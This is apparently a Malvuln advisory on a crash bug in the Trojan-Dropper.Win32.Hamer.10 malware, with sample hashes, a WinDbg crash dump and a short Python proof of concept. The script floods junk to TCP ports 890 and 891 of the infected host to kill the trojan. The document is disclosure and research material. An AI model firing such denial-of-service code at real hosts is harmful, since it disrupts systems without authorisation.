Original source: https://malvuln.com/advisory/afe4e5219829a286e0b84025b073c259.txt
Contact:
Media: twitter.com/malvuln
Threat: Trojan-Dropper.Win32.Hamer.10
Vulnerability: Remote Floating-point Exception DoS
Description: Trojan Hamer.10 listens on TCP port 890, after
receiving a SYN packet it also opens up TCP port 891. Sending an
arbitrary junk payload to port 891 results in Floating-point
exception and malware crash. Therefore, to exploit this issue we
can send two consecutive packets one to port 890 which will in turn
open port 891 .
Type: PE32
MD5: afe4e5219829a286e0b84025b073c259
Vuln ID: MVID-2021-0125
Dropped files: winlogon.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 03/10/2021
Memory Dump:
(3c4.e4c): Unknown exception - code c000008f (first/second chance
not available)
eax=00000000 ebx=00000000 ecx=00000002 edx=00000000 esi=00000003
edi=00000003
eip=7710ed3c esp=0019f238 ebp=0019f3c8 iopl=0 nv up ei pl nz na po
nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!ZwWaitForMultipleObjects+0xc:
7710ed3c c21400 ret 14h
0:000> .ecxr
eax=0019fb38 ebx=00412b44 ecx=00000002 edx=00000000 esi=0019fc1c
edi=026599b0
eip=75eb08f2 esp=0019fb38 ebp=0019fb94 iopl=0 nv up ei pl nz ac po
nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000212
KERNELBASE!RaiseException+0x62:
75eb08f2 8b4c2454 mov ecx,dword ptr [esp+54h]
ss:002b:0019fb8c=3924e764
*** ERROR: Symbol file could not be found. Defaulted to export
symbols for msvbvm60.dll -
0:000> .exr -1
ExceptionAddress: 75eb08f2
(KERNELBASE!RaiseException+0x00000062)
ExceptionCode: c000008f
ExceptionFlags: 00000001
NumberParameters: 2
Parameter[0]: deadcafe
Parameter[1]: deadcafe
0:000> !gle
LastErrorValue: (Win32) 0 (0) - The operation completed
successfully.
LastStatusValue: (NTSTATUS) 0xc000008a - Indicates the specified
resource type cannot be found in the image file.
0:000> !error c000008f
Error code: (NTSTATUS) 0xc000008f (3221225615) - {EXCEPTION}
Floating-point inexact result.
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for winlogon.exe
*** ERROR: Module load completed but symbols could not be loaded
for winlogon.exe
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
KERNELBASE!RaiseException+62
75eb08f2 8b4c2454 mov ecx,dword ptr [esp+54h]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 75eb08f2
(KERNELBASE!RaiseException+0x00000062)
ExceptionCode: c000008f
ExceptionFlags: 00000001
NumberParameters: 2
Parameter[0]: deadcafe
Parameter[1]: deadcafe
PROCESS_NAME: winlogon.exe
OVERLAPPED_MODULE: Address regions for 'NapiNSP' and 'wshom.ocx' overlap
ERROR_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION} Floating-point inexact result.
EXCEPTION_CODE: (NTSTATUS) 0xc000008f - {EXCEPTION} Floating-point inexact result.
EXCEPTION_PARAMETER1: deadcafe
EXCEPTION_PARAMETER2: deadcafe
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
FAULTING_THREAD: 00000e4c
DEFAULT_BUCKET_ID: STATUS_FLOAT_INEXACT_RESULT
PRIMARY_PROBLEM_CLASS: STATUS_FLOAT_INEXACT_RESULT
BUGCHECK_STR: APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT
LAST_CONTROL_TRANSFER: from 660d0dcf to 75eb08f2
STACK_TEXT:
0019fb94 660d0dcf c000008f 00000001 00000002
KERNELBASE!RaiseException+0x62
WARNING: Stack unwind information not available. Following frames
may be wrong.
0019fbb4 66101d44 00000000 00000000 00000002
msvbvm60!EbGetHandleOfExecutingProject+0x22b3
0019fca0 76eee0bb 00419054 001a012e 0000c216
msvbvm60!ProcCallEngine+0x4ce7
0019fcd0 76ef8849 004043b4 001a012e 0000c216
user32!_InternalCallWinProc+0x2b
0019fcf4 76efb145 0000c216 000002c4 00000001
user32!InternalCallWinProc+0x20
0019fdc4 76ee90dc 004043b4 00000000 0000c216
user32!UserCallWinProcCheckWow+0x1be
0019fe30 76ee38c0 0019fe78 6600a6c8 0019fe50
user32!DispatchMessageWorker+0x4ac
0019fe38 6600a6c8 0019fe50 ffffffff 04091e54
user32!DispatchMessageA+0x10
0019fe78 6600a63f ffffffff 04091e7c 04090000
msvbvm60!_vbaStrToAnsi+0x2f1
0019febc 6600a51d 04091f4c ffffffff 000003c4
msvbvm60!_vbaStrToAnsi+0x268
0019fed8 6600a4e8 04091e78 04091f4c ffffffff
msvbvm60!_vbaStrToAnsi+0x146
0019fefc 66003644 ffffffff 0041de90 0041de90
msvbvm60!_vbaStrToAnsi+0x111
00353000 ffffffff 00400000 771b7be0 02651928
msvbvm60!ThunRTMain+0xa0
00000000 00000000 00000000 00000000 00000000 0xffffffff
STACK_COMMAND: ~0s; .ecxr ; kb
FOLLOWUP_IP:
user32!_InternalCallWinProc+2b
76eee0bb 648025ca0f0000fe and byte ptr fs:[0FCAh],0FEh
SYMBOL_STACK_INDEX: 3
SYMBOL_NAME: user32!_InternalCallWinProc+2b
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: user32
IMAGE_NAME: user32.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 0
FAILURE_BUCKET_ID: STATUS_FLOAT_INEXACT_RESULT_c000008f_user32.dll!_InternalCallWinProc
BUCKET_ID: APPLICATION_FAULT_STATUS_FLOAT_INEXACT_RESULT_user32!_InternalCallWinProc+2b
Exploit/PoC:
from socket import *
import time
MALWARE_HOST="x.x.x.x"
PORT=890
PAYLOAD="Open port 891 please!\r\n\r\n"
cnt=0
def doit():
global PORT, cnt
cnt+=1
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
PAYLOAD="A"*710+" HTTP/.1"+"A"*2000+"\r\n\r\n"
s.send(PAYLOAD)
s.close()
time.sleep(1)
#Recursion check
if cnt < 2:
#Increment the vuln port
PORT += 1
#BOOM
doit()
print("Trojan-Dropper.Win32.Hamer.10 / Remote Floating-point
Exception DoS")
print("MD5: afe4e5219829a286e0b84025b073c259")
print("By Malvuln")
if __name__=="__main__":
doit()
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